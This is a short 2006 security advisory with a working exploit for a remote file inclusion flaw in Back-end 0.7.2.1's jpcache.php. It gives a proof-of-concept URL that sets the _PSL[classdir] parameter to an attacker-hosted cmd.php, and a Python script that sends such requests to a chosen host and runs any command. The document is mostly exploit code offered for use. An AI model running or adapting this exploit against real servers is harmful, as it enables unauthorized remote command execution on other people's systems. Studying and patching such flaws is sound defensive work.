Back-end = 0.7.2.1 (jpcache.php) Remote command execution
/ Federico Fazzi, <federico@xxxxxxxxxxxxx>
*/ Back-end = 0.7.2.1 (jpcache.php) Remote command execution
*/ 08/06/2006 1:04
Bug:
jpcache.php: line 40
---
$includedir = $_PSL['classdir'] . "/jpcache";
---
Proof of concept:
Back-end have a default path pre-set on jpcache.php,
and cracker can execute a remote command.
http://example/[be_path]/class/jpcache/jpcache.php?_PSL[classdir]=http://example/cmd.php?exec=uname
you can use too the exploit f_mg-2.62.py
#!/usr/bin/env python
#
# Back-end = 0.7.2.1 (jpcache.php) Remote command execution
# vendor, http://www.back-end.org/
#
# python f_be-0.7.2.1.py <remote_addr> <remote_port> <remote_path>
<remote_cmd> <command>
#
# Federico Fazzi <federico@xxxxxxxxxxxxx>
# more info see advisory.
import os, sys, socket
usage = "run: python %s [remote_addr] [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])
if len(sys.argv) < 6:
print usage
sys.exit()
else:
host = sys.argv[1]
port = int(sys.argv[2])
path = sys.argv[3]
cmd = sys.argv[4]
command = sys.argv[5]
print "Back-end = 0.7.2.1 (jpcache.php) Remote command execution"
print "Federico Fazzi <federico@xxxxxxxxxxxxx>\n"
includers = ['class/jpcache/jpcache.php?_PSL[classdir]=']
for inc in includers:
print ">> i try string %s" % inc
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd, command))
print "\n>> reading.. done\n"
buf = sock.recv(2048)
print buf